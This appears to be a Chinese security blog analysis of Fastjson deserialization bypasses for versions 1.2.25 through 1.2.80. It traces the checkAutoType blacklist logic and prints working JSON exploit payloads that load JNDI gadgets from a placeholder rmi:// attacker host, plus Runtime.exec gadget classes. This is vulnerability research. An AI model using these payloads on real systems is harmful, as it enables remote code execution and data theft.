目录
<=1.2.25fastjson反序列化注入
<=1.2.42fastjson反序列化注入
<=1.2.43fastjson反序列化注入
<=1.2.45fastjson反序列化注入
1.2.46fastjson反序列化注入
<=1.2.47fastjson反序列化注入
1.2.48fastjson反序列化注入
<=1.2.62fastjson反序列化注入
<=1.2.66fastjson反序列化注入
<=1.2.67fastjson反序列化注入
<=1.2.68fastjson反序列化注入
<=1.2.80fastjson反序列化注入
在之前我们分析了1.2.24反序列化漏洞的TemplatesImpl利用链,如果感兴趣可以去看看 ,这里我们从1.2.25开始。
1.2.24 Fastjson反序列化TemplatesImpl利用链分析(非常详细)_糊涂是福yyyy的博客-CSDN博客
在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,同时增加了黑白名单。我们跟进代码可以看到在276行使用了checkAutoType。跟进checkAutoType看看里面代码如何执行。
在checkAutoType里面会大概分成四种情况,第一种是开启autoTypeSupport,需要判断是否在白名单里面,在就直接加载类,不在就接着判断是否在黑名单里面,在黑名单里面就直接抛出异常。第二种会去缓存里面寻找类。第三种关闭autoTypeSupport,需要判断是否在黑名单里面,在黑名单里面就直接抛出异常。不在黑名单里面就接着判断是否在白名单里面,在白名单就直接加载类。第四种开启autoTypeSupport,直接加载类。其实就是说不管是开启还是关闭autoTypeSupport都会进行黑白名单过滤,只不过先后区别。
public Class> checkAutoType(String typeName, Class> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
//1.开启autoTypeSupport,进行先白后黑名单过滤,存在白名单直接加载类
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
//2.在mapping和deserializers缓存里面寻找类
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
//3.autoTypeSupport关闭情况下,先黑名单在白名单过滤,在白名单里面就加载类
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
//4.开启autoTypeSupport,直接加载类。
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
下面是黑名单,而我们的利用链com.sun.rowset.JdbcRowSetImpl是在这个黑名单里面的。我们需要对我们的playload进行简单的改变才能绕过黑名单。
"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"
1.2.25Fastjson默认autoTypeSupport是不开启的,我们可以通过代码手动开启autoTypeSupport。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
构造的playload如下,使用playload1。
String str4={\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 1
String str4={\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 2
因为我们手动开启autoTypeSupport所以该playload在checkAutoType方法里面会走第一种情况,并且会通过黑名单检测,然后会在第四种情况里面直接加载类,但是我们的类名Lcom.sun.rowset.JdbcRowSetImpl;是如何变成com.sun.rowset.JdbcRowSetImpl。这里我们需要进入到loadclass里面看看。
在loadclass方法里面会进行判断,第一种情况判断如果传入进来的类名第一个字符是[,那么会取出后面的值进行后面的代码执行。第二种情况判断如果我们的类名以L开头且以;结尾,那么就会取出其中间作为新的类名。我们的playload是满足第二种情况的。所以我们的恶意类com.sun.rowset.JdbcRowSetImpl就可以加载了。如果是使用playload2 就会满足第一种情况,也能成功加载恶意类。
上述方法条件是必须开启autoTypeSupport,不然会导致失败。
需要开启autoTypeSupport
在1.2.42版本中,黑白名单采用了hash值,如果你传进来的的类名头和尾是L;,那么会对你进行一次去头去尾,再进行黑白名单校验,有开发人员破解处理黑白名单,工具在这个链接。GitHub - LeadroyaL/fastjson-blacklist
所以我们构造如下playload:
String str4="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
我们双写LL;;这样我们即使去掉一次L;我们还剩一组就可以绕过黑名单检测,然后在loadclass方法里面提取出L;中间的值加载对应的类。
需要开启autoTypeSupport
在1.2.43版本中在checkAutoType方法里面对连续出现两个类描述符直接抛异常,所以想要通过L;来绕过黑名单是不可能的。这个时候我们需要想其他办法来绕过黑名单检测,这里就得提到我们在上面分析loadclass方法,可以看到在loadclass方法里面当我们得类名是以[开头,我们是取[后面的值进行类加载。但是我们在构造playload的时候却多了[{。有的同学可能对于playload为何那样构造不是很明白。那我们一起分析以下。
首先我们按照常规思路构造如下playload:
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
当我们运行代码时候会报错,并且会提示你在42这个位置缺少一个[,报错得位置是com.alibaba.fastjson.parser.DefaultJSONParser.parseArray。
上面playload会绕过checkAutoType方法里面的黑名单,所以我们执行完checkAutoType方法会进入deserialze方法里面,在151行执行parseArray方法,进入其中。
该方法里面会有一个token得检测,如果不是等于14就会抛出异常,我们的token是16。那token是在那里设置为16呢。
回溯代码发现在执行完checkAutoType方法后调用nextToken()方法,传入的参数是16。我们进入看看是如何设置token。
因为传入得参数是16所以直接来到309行,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。
该方法会将当前值和各种值进行比较,当当前值是 [ 的时候就将token设置为14。所以我们需要在playload里面额外加一个[。
当我们playload如下的时候又会出现报错,报错信息提示我们还需加一个{,报错位置在JavaBeanDeserializer.deserialze。
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://x1x.xx.xx2.xx3:9999/Exp\", \"autoCommit\":true}";
因为我们添加了[所以顺利通过parseArray方法里面的token是否等于14的检测,这时候我们在添加{,代码会顺利执行到parseArray方法,在该方法的670行进行一次token值得变更,当当前值是 { tonken变成12。
接着执行代码进入714行deserialze方法里面,该方法会对token值进行判断。
在395行可以看到判断token是否不等于12且不等于16,当我们加上{,我们的token值是12的,所以该条件就不满足。就会走else代码,往下执行就会触发漏洞。
如果我们不添加 { ,同样在parseArray方法里面的670行进行一次token值得变更,因为当前值是逗号就会执行338行nextToken()方法。token值变成16。
我们parseArray方法里面拿到token返回值16,执行681行满足条件,又再次设置token值。这次token返回值是4。这个大家可以自己进入看看代码如何执行的。然后我们就和上面一样进入714行deserialze方法里面。
这里和上面情况不一样token值不等于12也不等于16,所以进入if语句里面。会进行以下判断,判断输入值是否是空值等等,最后来到433行抛出异常。
所以我们在1.2.43 fastjson版本触发反序列化漏洞,需要构造如下形式的playload:
String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";
需要开启autoTypeSupport
在1.2.45版本中修复了1.2.44版本漏洞,在checkAutoType方法里面添加对[字符的检测。不过在该版本中发现新的利用链,该利用链不在黑名单里面。但是需要目标服务器存在mybatis包,且版本未3.x.x至小于3.5.0。
需要我们在pom.xml里面引入mybatis包
org.mybatis
mybatis
3.3.0
构造如下playload:
String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";
该利用链主要是调用了setProperties方法里面的lookup方法。
该版本将org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入黑名单,修复了1.2.45版本的漏洞。
不需要开启autoTypeSupport
在1.2.47版本中,通过利用类缓存机制(通过java.lang.Class
类提前带入恶意类并缓存到 TypeUtils.mappings 中),可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
我们需要构造以下playload。
String str4="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://1xx.56.xx.xxx:9999/Exp\",\"autoCommit\":true}}}";
第一次的时候我们取出来的key值是a,不是@type,所以我们执行到488行,第二次调用parseObject方法,取出@type进入到checkAutoType。
因为没有开启autoTypeSupport,会先去mapping缓存寻找java.lang.Class,没有找到。再去deserializers缓存寻找,找到了赋值给clazz,返回clazz。
拿到clazz,进入到deserializer方法里面,在deserializer方法里面调用parse方法。在这之前需要zai 223行判断健是否是val。不然会抛出异常。
执行String stringLiteral = lexer.stringVal()代码,将健是val的值赋值给stringLiteral变量。由我们的playload可知我们的val健对应的值就是我们的恶意类com.sun.rowset.JdbcRowSetImpl。
拿到我们的恶意类回到deserializer方法里面,将值再赋值给strVal变量。
接下来就是判断clazz的类型,clazz是一个class对象。执行loadClass方法加载类。而传进去的类名是strVal,也就是我们的恶意类。
程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象,并赋值给clazz变量。此时的className、clazz变量形式如下图,接着将className、clazz键值对加入mappings合集
在我们的第一个json字符串解析完成后,程序随后会解析我们第二个json字符串,解析过程与第一个完全一样,当取到第二个@type的时候会进入checkAutoType方法中从mapping缓存中拿到我们的com.sun.rowset.JdbcRowSetImpl类对象,就会触发漏洞。
该版本修复了1.2.47漏洞点,在执行loadclass方法时候第三个参数cache的值是false。当其值为false就不会执行mappings.put(className, clazz),我们的恶意类对象就不会添加到mapping缓冲里面。
需要开启autoTypeSupport
1.2.62发现新的利用链,该利用链不在黑名单里面,该利用链需要目标服务器存在xbean-reflect包
构造如下playload
String str4 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://xx.xx.x.xx:5555/Exp\"}"
该利用链主要调用了setAsText方法,该方法里面调用了lookup方法。
需要开启autoTypeSupport
1.2.62发现三个可用的利用链,这些利用链都不在黑名单里面。
我们以org.apache.shiro.jndi.JndiObjectFactory类为例,pom.xml引入依赖包
构造如下playload:
String str4 = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://x.x.x.x:5555/Exp\"], \"Realms\":[\"\"]}";
该利用链先调用了setJndiNames方法,对jndiNames进行赋值,在调用getRealms方法里面的lookup方法。
br.com.anteros.dbcp.AnterosDBCPConfig类POC:
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
pom.xml引入依赖包
br.com.anteros
Anteros-Core
1.2.6
br.com.anteros
Anteros-DBCP
1.0.1
该利用链调用healthCheckRegistry方法里面的getObjectOrPerformJndiLookup方法里面的lookup方法。另外一个参数和healthCheckRegistry是一样的。
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类POC:
String str4 = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://x.x.x.x:5555/Exp\"}}";
pom.xml引入依赖包
org.apache.ibatis
ibatis-sqlmap
2.3.4.726
javax.transaction
jta
1.1
该利用链调用setProperties方法里面的lookup方法。
需要开启autoTypeSupport
1.2.62发现两个可用的利用链,这些利用链都不在黑名单里面。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
String str4 = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://x.x.x.x:5555/Exp\",\"tm\": {\"$ref\":\"$.tm\"}}";
该利用链需要ignite-core、ignite-jta和jta依赖,pom.xml引入以下依赖包
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"}
,实际上就是基于路径的引用,相当于是调用root.getTm()
函数,即循环引用来调用了tm字段的getter方法了。
org.apache.shiro.jndi.JndiObjectFactory类PoC:
String str4 ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://x.x.x.x:5555/Exp\",\"instance\":{\"$ref\":\"$.instance\"}}";
该利用链需要shiro-core和slf4j-api依赖,pom.xml引入以下依赖包
不需要开启autoTypeSupport
1.2.68修复了1.2.67反序列化漏洞,该漏洞和之前1.2.47相似点就是不需要开启autoType也能导致反序列漏洞产生,但这个漏洞不能做到1.2.47那样通用,还是有一些限制条件的。首先我们先建一个haha.java
import java.io.IOException;
public class haha implements AutoCloseable{
public haha(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
具体poc如下,下面会讲述为什么这么构建。
String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";
因为在1.2.68版本中我们在不开启autoType,绕过checkAutoType
的安全检测,是因为我们利用它的第二个参数expectClass。我们跟进代码看看如何绕过的。首先我们进入第一次checkAutoType,我们传入的类是java.lang.AutoCloseable,这个类要求是能在缓存里面找到,且不在黑名单里面。这个我们就不调试了,和我们1.2.47第一次调试差不多。
我们执行代码来到377行,进入其中
该方法里面会继续向后取值,取到@type会再次执行一次checkAutoType方法,这里我们需要进行看一下。且这个时候第二个参数expectClass的值是interface java.lang.AutoCloseable。这次
expectClass参数不为空哦。
首先会判断expectClass参数是否为空,不为空是否不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class、
Iterable.class、
Collection.class,
如果条件成立将
expectClassFlag设置为true,显然该值为true。后面就是对于我们自定义的类haha进行黑白名单校验,以及缓存寻找。
最主要是这里,如果if语句里面有一个条件满足就会调用loadClass方法,从上文知第三条件是true。
继续执行代码在1124行会判断expectClass该参数是否不为空,class haha是否是interface java.lang.AutoCloseable的子类。如果成立就将haha添加到缓存里面去。这样后续就和1.2.47一样的了。
解答POC:
我们主要是利用expectClass这个参数,
第一点:这个参数需要在缓存里面能找到,不然你第一个检测返回值就是空。
第二点:这个类的子类需要有漏洞点,不然你在反序列过程不会触发漏洞。但是在这里我们为了更好演示,我们的子类是自己构造的。现实中这个子类需要自己找,所以利用面没有1.2.47广。
第三点:为啥我们用java.lang.AutoCloseable这个类,是因为它在缓存中,
AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。具体playload参考下面连接。
参考:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)_n0body-mole的博客-CSDN博客_fastjson1.2.68反序列化漏洞
那除了我们在734 行使用expectClass这个参数。我们还有一个地方也使用,不过它利用价值不大。我们会利用Throwable类。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
我们可以依赖selenium导致信息泄露。
首先导入selenium依赖:
org.seleniumhq.selenium
selenium-api
4.1.1
POC如下:
String str4 = "{\"x\": {\"@type\":\"java.lang.Exception\", \"@type\":\"org.openqa.selenium.WebDriverException\"}, \"y\":{\"$ref\":\"$x.systemInformation\"}}";
其中,org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。
不需要开启autoTypeSupport
1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer
序列化器,1.2.80使用ThrowableDeserializer
反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
我们构建恶意类
import java.io.IOException;
public class CalcException extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC:
String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";
这个就不去调试了。要注意的是,由于java.lang.Throwable这个类不在缓存集合TypeUtils#mappings中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception,因为java.lang.Exception是在缓存集合TypeUtils#mappigns中的。
总结:除了1.2.47,1.2.68以及1.2.80出现的漏洞不需要开启autoTypeSupport,其他版本都需要开启autoTypeSupport。当我们在使用JNDI+RMI或者JNDI+LdAP,需要注意JDK版本